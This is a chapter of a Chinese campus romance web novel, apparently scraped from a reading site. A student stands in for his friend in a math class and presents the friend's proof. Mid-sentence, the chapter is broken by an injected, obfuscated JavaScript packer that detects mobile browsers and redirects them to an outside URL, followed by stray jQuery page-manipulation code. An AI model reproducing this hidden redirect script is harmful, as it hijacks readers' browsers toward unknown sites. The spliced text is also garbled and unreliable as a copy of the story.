12. 上课

作品:《对方辩友是我男朋友

    Debate12


    空气瞬间安静。


    紧接着,‘吱呀’一声,身后的门被人打开了。


    郭尧正在刷牙,他缓缓道:“不好意思啊,隔音效果有点差,我就想说挺晚了,二位要不进来睡?正好空了一张床。”


    傻逼。


    褚起承觉得自己今天的脑子指定出了点问题。


    果然傻逼会传染。


    他转身就回宿舍了。


    站在门口的蒲竟宣低头笑着,“我就不进去睡了,下次吧,拜拜。”


    隔天傍晚五点五十分,孙艺在座位上坐了十分钟都还觉得自己走错教室了。


    旁边的人不是没个坐姿还经常问自己讲到哪儿了的蒲爷,而是冷冰冰周身都散发着近我者死的褚起承。


    太魔幻了。


    太不可思议了。


    太……令人发指了!


    他感觉受折磨的人是自己!


    “那个……褚起承,这是蒲爷的书,这节课应该是讲这儿。”孙艺恭敬地将书摊开放在他面前。


    褚起承垂眸看了眼书上的笔迹,跟鬼画符似的,可能鬼才能看懂写得什么玩意儿吧。


    “孙艺孙艺!”后面一个女生拍了下他的肩膀。


    “干嘛?”孙艺回头。


    女生问:“蒲竟宣呢?今天怎么没跟你坐一起?”


    “呃……”孙艺居然无法回答这种低级问题。


    只听旁边的人扔下笔,回头。


    淡淡道:“有事吗?”


    “……”


    后排的人看见一个陌生帅哥转过身来都震惊了。


    你好,帅哥,你谁?你走错教室了吧?


    孙艺解释道:“你找蒲竟宣是吧?找他就好了,有什么事你跟他说。”


    “这……”女生有些犹豫,他真的很想问你整容了吗?


    但这个问题实在弱智。


    褚起承看不下去了,耐心解释道:“这节课我帮他上一下,有事你跟我说就好,我会跟他说。”


    然而这个解释不仅没让气氛松下来,反而更诡异了。


    孙艺摇头叹气,默默地点开了论坛……


    女生磕磕巴巴道:“就……那个……刚才我碰见老谢了,他说上次留的最后那道题,你做的思路和大家都不一样,然后……让你准备一下,等会儿上台讲。”


    “……”


    死亡般的窒息感。


    孙艺突然就共情了那天坐在褚起承旁边的郭尧了。


    他现在也可以收拾收拾准备跑路了,万一血溅三尺,自己身上能少沾点血。


    还有一分钟拉铃,也就是说褚起承完全可以立马跑路。


    但是孙艺只见他默默地从兜里拿出了一个黑色口罩戴上,眼神中的杀气更吓人了。


    “褚哥啊……你怎么不跑?”孙艺大着胆子问。


    “跑什么?”褚起承的语气已经接近死亡了,“答应了就要做到。”逃课算什么?算他不讲诚信?


    但是蒲竟宣信誓旦旦地说老师不抽人这句话是可以挨揍的。


    的确不抽人,但架不住有些人找抽。


    做题不会好好做吗?非要搞特殊,就你会别的方法?


    当这个显眼包干什么?厉害死你得了呗。


    “哪道题?”


    孙艺以为自己耳聋了,随后默默地发了个电子版PDF给他。


    “这个是蒲哥做的那版,我最后一道题没抄他的,因为我没看懂。”


    意思就是:祝你平安。


    要么祈祷老谢这节课讲不到最后一道题,要么祈祷一年都没碰过数学的褚起承突然蒲竟宣附身。


    后面那种可能性简直为零。


    不,肯定为零。


    因为数分还凑活的孙艺都看不懂蒲竟宣在写什么,太抽象了。


    他蒲哥完蛋了。


    被抓包逃课不说,还要挨揍。


    他已经在心里开始默哀了。


    这时候老谢已经从外面走上讲台了,“我们来讲一下上次发给你们做的几道题,都是我自己出的,有点难度,但是同学们的完成情况还是可以的,我就挑一些题讲讲思路……”


    孙艺瞟了眼旁边的褚起承,后者很认真地在看书,但不是一页一页地翻,而是在看书上的例题。


    不,应该是蒲竟宣在书上写的那些鬼画符。


    这能看懂?


    孙艺至今看不懂蒲竟宣书上写的那些数字符号在写什么,单看都懂,合在一起就是天书。


    褚起承更不可能看懂吧?


    算了,估计是装装样子等会儿死得安详一点。


    半节课后,老谢只讲了一道题。


    孙艺安抚道:“我觉得还有救,估计讲不到最后一题。”


    话音刚落,老谢打开保温杯喝了口水,在教室扫视了一圈,“现在我们讲最后一道题。”


    孙艺:“???”老师,您真会跳。


    褚起承死亡凝视着他。


    紧接着,老谢‘咦’了声,“我怎么没看到蒲竟宣?没来上课吗?”


    教室里鸦雀无声。


    老谢继续问:“调课的通知我发到群里了啊,他退群了?”


    随后,刚才那个女生十分正义地站了出来,“老师,蒲同学在这儿呢!”她指着前面坐着的戴口罩的酷哥。


    褚起承终于把最后一步看完了,这才起身:“老师,我来了。”


    教室里的人没人不认识蒲竟宣,都在窸窣地小声议论,这一站包括老谢都震惊了。


    他的学生什么时候变脸了?


    他也不至于老眼昏花吧?


    不过他很快就明白过来发生了什么,也没拆穿,只是说:“蒲同学,最后一道题你跟大家的做法都不一样,你上来说说?”


    教室里的人都倒吸了一口冷气,这不是当众处刑吗?


    他们开始在心里默默点蜡。


    然后,下一秒。


    “好。”


    孙艺想拉着他的手颤抖着。


    褚起承 ,真正的勇士。


    眼见着褚起承真的拿粉笔了,他赶紧摸出手机通风报信。


    【SY:急急急急急急!!!蒲哥!老谢让你讲最后一道题的解法,现在褚起承上去了!!】


    【SY:他不会有什么事吧?】


    【P:他前半节课在干什么?】


    【SY:在看你写的鬼画符?】


    【P:没事,他会。】


    【SY:???Are you really?】


    他蒲哥没回他。


    他鼓起勇气抬头。


    这时候褚起承在黑板上写了一行算式。


    然后转过身开始讲思路。


    一边说一边在黑板上写。


    教室里安静如斯。


    直到一整块儿黑板都写完了,孙艺才反应过来讲题的人是谁。


    他刚才都听得很认真。


    这个解法虽然很骚但是很强。


    所以褚起承是怎么看懂的?他居然看了二十分钟的书就会了?


    天才?


    不过他蒲哥居然真的说中了,但是他怎么知道褚起承会的?


    这两人私下还交流数学题?


    靠……他的世界观要重塑了。


    “老师,我讲完了。”褚起承拍了拍


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035380|162395||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    手上的粉笔灰。


    接着教室里不知道是谁带头鼓掌,然后大家都开始鼓掌了。


    褚起承听着这个声音觉得实在太傻逼了。


    比刚才讲题还烦。


    老谢十分满意地点头:“不错,蒲同学果然是搞竞赛的,思路非常与众不同。”


    褚起承都准备下去了,老谢忽然问:“不过蒲同学,你这个戴口罩是怎么了?”


    “……感冒了。”


    “哦,感冒啊,我说呢,声音都变了。”老谢打趣道:“那你注意点身体啊,下次可别感冒了。”


    下面的同学笑作一团,都捂着嘴抖肩膀。


    褚起承觉得自己还不如死了,“好的老师。”


    但是蒲竟宣得先死。


    “下去吧。”


    中途下课休息的十分钟,教室里平日都已经开始嘻嘻哈哈的同学们都一致地保持了安静,就像在进行某种古老而神秘的仪式。


    俗称:找人分享今日份乐子。


    快乐加倍。


    孙艺看着论坛那个高楼渐起的帖子无奈摇头。


    这两帅逼太能搞事了,再这样发展下去真要破圈了。


    不过……他居然还有些期待?


    他也一定被下面的发言搞魔怔了,洗脑真的太简单了,他要镇定。


    “褚哥,你怎么会做数分?”


    褚起承拉下口罩喘了口气,“不会,我按照蒲竟宣写的思路讲的。”


    “嗯?”是他智障吗?他为什么看不懂?


    或许是褚起承看出来了他的心理活动,他回了句:“你看不懂他写的也很正常,他的思路本来就很奇怪。”


    “哦……”那你俩还挺默契的呗?


    褚起承望着面前的笔记,突然想到了很久之前的事情。


    不过他好像真的很久都没有经历过这种做题的紧张感了,怪怀念的。


    后面的课他没戴口罩,不过老谢看见了一句话也没说。


    下课之后,他本来应该是去自习室的,但是现在他一点都不想看书学习。


    “我走了。”他拉上口罩就往外冲,脾气看着有些大。


    孙艺顺嘴问:“你要去哪儿?”


    褚起承扔下一句:“查案。”


    感觉自己的思想再次受到冲击的孙艺:“???”


    原来他们专业真的学这个?


    牛逼。


    那家清吧距离学校还挺远的,褚起承刚走到校门口忽然就犹豫了。


    他是智障吗?为什么要去?那货要真的违法乱纪关他什么事?


    刚想转身——


    “褚起承?”蒲竟宣刚从出租车上下来,“这才刚下课吧?你出校门有事吗?”


    褚起承松了口气,随口道:“关你什么事?你课给你上了。”


    蒲竟宣看了眼刚才发过来的信息,“既然这么巧,要不我带你去吃宵夜?”


    “……我不饿。”


    “走嘛。”蒲竟宣拽着他的手腕儿往外走。


    褚起承想要挣脱,但是这人力气还挺大。


    “我走就是,别拉着我。”


    “行行行。”蒲竟宣松开手。


    两人转了好几条巷子,褚起承终于忍不住了:“你到底要带我去哪儿?”


    “快了快了。”蒲竟宣懒散地说:“放心吧,我不会把你卖了,把你卖了那不是暴殄天物吗?”


    “……”他是在担心这个吗?还有,这人乱用什么成语?


    “我问你一件事。”褚起承偏过头看他。


    蒲竟宣故作正经:“知无不言。”


    “高一分班考试的时候,我们是不是见过?”